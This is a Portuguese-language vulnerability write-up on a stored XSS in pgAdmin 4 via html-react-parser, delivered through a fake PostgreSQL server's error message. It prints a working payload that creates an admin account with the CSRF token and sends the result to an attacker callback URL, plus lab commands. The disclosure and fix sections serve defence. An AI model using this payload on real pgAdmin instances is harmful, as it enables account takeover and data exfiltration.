CVE-2026-12048 — Stored XSS crítico no pgAdmin 4 via html-react-parser e servidor PostgreSQL malicioso
1. Introdução
Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Recomendo ler o artigo introdutório antes de continuar — ele traz o contexto geral e a tabela com todas as CVEs.
A CVE-2026-12048 tem CVSS 9.3 (Crítica), a maior severidade do conjunto. É uma vulnerabilidade de Stored XSS com um vetor particular: o conteúdo malicioso não vem de um campo de formulário nem de uma URL — vem de um servidor PostgreSQL controlado pelo atacante. Quando a vítima conecta o pgAdmin a esse servidor, o erro retornado pelo servidor é passado por html-react-parser sem sanitização e renderizado no DOM do pgAdmin. De lá, usando um iframe com srcdoc, é possível executar JavaScript no contexto da aba do pgAdmin — e esse JavaScript tem acesso same-origin a todos os recursos da aplicação.
O que tornava a falha especialmente perigosa no server mode é que um usuário registra um servidor malicioso uma vez, e qualquer outro usuário da instância pgAdmin que conectar a esse servidor (seja diretamente, seja via SharedServer) tem o XSS executado.
Aviso: conteúdo exclusivamente educacional. A falha já foi corrigida na versão 9.16 do pgAdmin 4.
2. O caminho até a vulnerabilidade
O pgAdmin tem um mecanismo chamado post_connection_sql: ao conectar a um servidor PostgreSQL, o pgAdmin executa automaticamente uma query SQL configurada pelo usuário (ou pelo administrador) para inicializar variáveis de sessão. Se essa query falha, o pgAdmin registra o erro, mas considera a conexão bem-sucedida e retorna success=1 com a mensagem de erro no campo errormsg.
# web/pgadmin/browser/server_groups/servers/connection.py — antes da correção
def execute_post_connection_sql(manager, conn):
post_conn_sql = config.get('post_connection_sql', '')
if not post_conn_sql:
return True, None
try:
status, msg = conn.execute_void(post_conn_sql)
if not status:
# A mensagem de erro do PostgreSQL é retornada sem qualquer tratamento
return True, "Failed to execute the post connection SQL " \
"with below error message:\n" + msg
except Exception as e:
return True, str(e)
return True, None
Essa mensagem de erro (msg) vem diretamente do servidor PostgreSQL — do campo M (message) da mensagem ErrorResponse do protocolo wire do PostgreSQL. E é controlada pelo servidor.
3. O servidor PostgreSQL falso
Para demonstrar a falha, implementei um servidor PostgreSQL falso em Python que segue o protocolo wire suficientemente bem para que o pgAdmin se conecte, mas retorna uma mensagem de erro com payload HTML no campo M:
# iframe_payload/postgres.py — trecho principal
def build_srcdoc_payload(callback_url):
srcdoc = f"""<!doctype html><html><body><script>
// Executando no contexto same-origin do pgAdmin
fetch(parent.location.origin + '/user_management/save', {{
method: 'POST',
credentials: 'include',
headers: {{
[parent.pgAdmin.csrf_token_header]: parent.pgAdmin.csrf_token,
'Content-Type': 'application/json'
}},
body: JSON.stringify({{
auth_source: 'internal',
role: 1,
active: true,
email: 'hacker@hacker.com',
newPassword: 'Admin@2024!',
confirmPassword: 'Admin@2024!'
}})
}}).then(r => r.json()).then(d => {{
fetch('{callback_url}', {{ method:'POST', body:JSON.stringify(d) }});
}});
</script></body></html>"""
# Usando HTML entities para sobreviver ao htmlparser2 no frontend
return (
"fake postgres post-connection error: "
f'<iframe srcdoc="{html_attr(srcdoc)}" '
'style="width:100%;height:230px">'
'</iframe>'
)
def error_response(message):
fields = (
b"SERROR\x00"
b"C28000\x00"
+ b"M" + message.encode() + b"\x00"
+ b"\x00"
)
return message_frame(b"E", fields)
Quando o pgAdmin executa o post_connection_sql e a query falha, o servidor fake retorna esse ErrorResponse com o payload HTML/JS no campo M. Esse payload é então encaminhado para o frontend no errormsg.
4. A cadeia de renderização no frontend
POST /browser/server_groups/servers/.../connect/
↓
execute_post_connection_sql() → retorna True, errmsg com HTML
↓
connect() → make_json_response(success=1, errormsg=errmsg_com_html)
↓
Frontend recebe: { "success": 1, "errormsg": "...<iframe srcdoc=...>" }
↓
if (res?.errormsg) pgAdmin.Browser.notifier.error(res.errormsg, null)
↓
notifier.error → callNotify(msg, ERROR) → <NotifierMessage message={msg}>
↓
JSX: {HTMLReactParse(message || '')} // <- sem sanitização
↓
<iframe srcdoc="..."> inserido no DOM do pgAdmin
↓
srcdoc é same-origin com o pgAdmin → JavaScript executa com acesso completo
O ponto crucial é que HTMLReactParse(message) sem DOMPurify aceita o <iframe srcdoc> e o insere no DOM. React 19 até sanitiza javascript: em atributos src e href, mas o atributo srcdoc é passado integralmente.
O htmlparser2 (usado internamente pelo html-react-parser) também decodifica entidades HTML em valores de atributos, então o payload pode estar codificado como <script> dentro do srcdoc e ainda assim ser executado.
5. O ambiente de laboratório
Usei dois terminais para o PoC:
# Terminal 1: servidor fake PostgreSQL escutando na porta 9003
python3 iframe_payload/postgres.py \
--port 9003 \
--payload-mode srcdoc-proof \
--callback-url http://192.168.18.8:8888/ \
--post-user-create
# Terminal 2: script que registra o servidor no pgAdmin e dispara a conexão
python3 xss_post_connection_poc.py \
--url http://localhost:5053 \
--email admin@lab.dev \
--password 'Admin@2024!' \
--fake-host 192.168.18.8 \
--fake-port 9003
O --post-user-create instrui o payload do srcdoc a tentar criar um usuário administrador (hacker@hacker.com) via POST /user_management/save — usando o CSRF token do pgAdmin, que está acessível como parent.pgAdmin.csrf_token.
A resposta confirmada do servidor (HTTP 200 com o payload HTML no campo errormsg):
{
"success": 1,
"errormsg": "Failed to execute the post connection SQL with below error message:\n<iframe srcdoc=\"<script>...</script>\">"
}
6. O impacto em instâncias compartilhadas
Em uma instalação pgAdmin em server mode com múltiplos usuários, o atacante:
- Registra um servidor PostgreSQL falso apontando para sua própria máquina.
- Habilita o
post_connection_sqlpara disparar o erro ao conectar. - Qualquer outro usuário da instância que for direcionado a conectar nesse servidor (via SharedServer ou convite) tem o XSS executado em seu contexto.
Não é preciso que o usuário faça nada além de clicar em “conectar ao servidor” — comportamento completamente normal no uso do pgAdmin.
7. Por que controles clássicos não mitigam
Uma observação importante: os controles clássicos contra clickjacking (X-Frame-Options: DENY, Content-Security-Policy: frame-ancestors 'none') não funcionam aqui porque a injeção não usa iframes externos apontando para o pgAdmin — ela injeta um iframe dentro do DOM do pgAdmin. A página carregada no srcdoc é same-origin com o pgAdmin porque o iframe foi injetado pelo próprio servidor do pgAdmin.
8. A correção
A correção foi aplicada em três camadas complementares:
1. DOMPurify em todas as chamadas do html-react-parser:
// Antes
{HTMLReactParse(message || '')}
// Depois
import DOMPurify from 'dompurify';
{HTMLReactParse(DOMPurify.sanitize(message || ''))}
O DOMPurify remove elementos como <iframe>, <script>, e outros vetores de injeção antes que o parser processe o HTML.
2. Novo contrato de renderização com SafeMessage:
Foi criado um componente SafeMessage que renderiza texto puro (sem HTML) e um SafeHtmlMessage para os raros casos onde HTML confiável é necessário. Cerca de cinquenta callers foram migrados para usar esses novos componentes com helpers como Notifier.errorText(), alertText(), etc.
// Componente SafeMessage — novo
export const SafeMessage = ({ message }) => (
<span>{String(message || '')}</span> // renderiza como texto puro
);
3. Escape no backend:
A função execute_post_connection_sql passou a escapar o HTML nas mensagens de erro antes de incluí-las na resposta JSON, de modo que consumidores da API (logs, clientes externos) também nunca recebam o markup bruto:
import html
def execute_post_connection_sql(manager, conn):
...
if not status:
safe_msg = html.escape(msg)
return True, "Failed to execute the post connection SQL " \
"with below error message:\n" + safe_msg
Referência: pgadmin4#10068